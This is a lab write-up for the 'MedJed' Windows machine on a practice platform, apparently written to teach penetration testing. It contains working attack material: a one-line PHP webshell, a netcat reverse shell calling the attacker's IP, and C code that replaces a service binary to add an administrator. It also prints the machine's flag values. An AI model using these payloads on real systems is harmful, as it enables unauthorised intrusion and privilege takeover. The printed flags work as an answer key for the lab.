MedJed_writeup

Author: Hans
Platform: PG Practice
Difficulty: Intermediate
Operating System: Windows

Summary

MedJed exposed a BarracudaDrive web management interface that allowed an unauthenticated user to claim the administrator account. This unlocked a built-in file manager which exposed the web root of a separate PHP quiz application, with write access. That write access was used to upload a PHP webshell and gain code execution as a low privileged user. Privilege escalation abused a known weakness in the BarracudaDrive service binary, allowing the binary to be replaced and executed with the privileges the service runs under after a machine restart.

Service Enumeration

Nmap

IP Address Protocol Ports and Services
192.168.221.127 TCP PORT 135: msrpc
PORT 139: netbios-ssn
PORT 445: microsoft-ds
PORT 3306: MariaDB 10.3.24 (unauthorized)
PORT 5040: unknown
PORT 8000: BarracudaServer.com (Windows), WebDAV enabled
PORT 30021: FTP, FileZilla ftpd 0.9.41 beta
PORT 33033: unknown, Rails "Action Controller: Exception caught" page
PORT 44330: ssl/unknown, expired demo certificate
PORT 45332 / 45443: Apache 2.4.46 (Win64) PHP 7.3.23, "Quiz App"
PORT 49664-49669: msrpc		 
nmap -sCV -oN scans/tcp1000.nmap $IP
nmap -sCV -p- -oN scans/tcpall.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

The UDP top 20 scan returned no confirmed open ports, only open|filtered results for ntp, netbios-ns, netbios-dgm, isakmp, upnp and nat-t-ike.

PORT 30021: FTP

Anonymous login was allowed on the FTP service.

ftp $IP 30021
Name (192.168.221.127:hans): anonymous
Password:
230 Logged on

The listing showed a Ruby on Rails application tree (app, bin, config, db, lib, Gemfile, Rakefile, and so on). The full tree was mirrored locally with lftp for reference.

lftp -u anonymous,anonymous ftp://$IP:30021
set ftp:passive-mode true
mirror --verbose --continue

This tree corresponds to the Rails application fingerprinted separately on port 33033.

PORT 8000: BarracudaDrive

The main page redirects after a few seconds to a Config Wizard page for setting an administrator account.

Main page:

Version check at /rtl/about.lsp confirmed the software as BarracudaDrive 6.5:

searchsploit barracudadrive 6.5

Noted for possible use in privilege escalation.

Auto-redirect to the Set Administrator wizard:

Setting an administrator account required only a password of at least 6 characters, with no existing credentials needed:


Once the administrator account was set, the Web File Server became accessible:

Browsing to /fs/C/xampp/htdocs/ landed in the web root served by the Quiz App on ports 45332 and 45443:

This folder was confirmed as both readable and writable through the file manager, and matches the Quiz App fingerprint on ports 45332/45443:

45332/tcp open  http  Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
45443/tcp open  http  Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)

Confirmed PHP execution with phpinfo.php:

Since read and write access to that folder was confirmed, a PHP webshell could be uploaded directly:

Initial Access - PHP Webshell via BarracudaDrive Web File Server

shell.php:

<?=`$_GET[0]`?>



Command execution was confirmed by hitting shell.php with a GET parameter, then used to run a base64 encoded PowerShell reverse shell one-liner, caught with Penelope in OSCP safe mode.

penelope --oscp-safe

whoami;ipconfig

The resulting shell landed in the context of a low privileged user. local.txt was found under C:\Users\Jerren\Desktop.

cd C:\Users
dir
cd Jerren\Desktop
type local.txt

Privilege Escalation - BarracudaDrive Service Binary Replacement

BarracudaDrive runs as a Windows service from a binary at C:\bd\bd.exe. A public proof of concept (exploit-db 48789) targets this binary and only requires a low privileged user to run, which the foothold already provided.

Proof of concept test

The original binary was renamed to preserve it for later use:

cd C:\bd
move bd.exe bd.service.exe
dir

A replacement bd.exe was compiled on Kali that adds a new local administrator and relaunches the original binary via WinExec so the service keeps working normally:

#include <stdlib.h>
#include <windows.h>

int main(void){
    system("net user boku mypassword /add");
    system("net localgroup Administrators boku /add");
    WinExec("C:\\bd\\bd.service.exe",0);
    return 0;
}

The first compile attempt failed because the system and WinExec functions were called without the required headers included:

i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

The new binary was uploaded through Penelope's file transfer function and placed in C:\bd as bd.exe:

Confirmed the target admin account did not already exist before restart:

net user boku

The machine was restarted to trigger the service to reload bd.exe under its higher privileged context:

shutdown /r

Listener confirmed active before the reboot completed:

After reboot, the new admin user existed, confirming the technique worked:

net user boku

Real exploit

Since there is no direct way to switch user on Windows the way su works on Linux, the same technique was adapted to launch a reverse shell instead of creating an admin account:

#include <stdlib.h>

int main(void){
    system("C:\\bd\\nc.exe 192.168.45.163 4444 -e cmd");
    return 0;
}

The same listening port was reused, since Penelope can keep existing sessions in the background while listening on the same port. nc.exe was transferred to the target:

cp /opt/SecLists/Web-Shells/FuzzDB/nc.exe .


The new exploit binary was compiled and transferred in place of bd.exe the same way as the proof of concept:

x86_64-w64-mingw32-gcc shell.c -o bd.exe

The machine was restarted again, the Penelope session detached, and the reverse shell was caught after reboot running with higher privileges:

proof.txt was found under C:\Users\Administrator\Desktop:

whoami && ipconfig
cd C:\Users\Administrator\Desktop
type proof.txt

Flags

Flag Value
local.txt 0e77f3fd94ef23cece3b23ad3368242a
proof.txt ee666ac960ff93d99e7e9bded91ce8b6
Enter your search text in the box above

Select a result to preview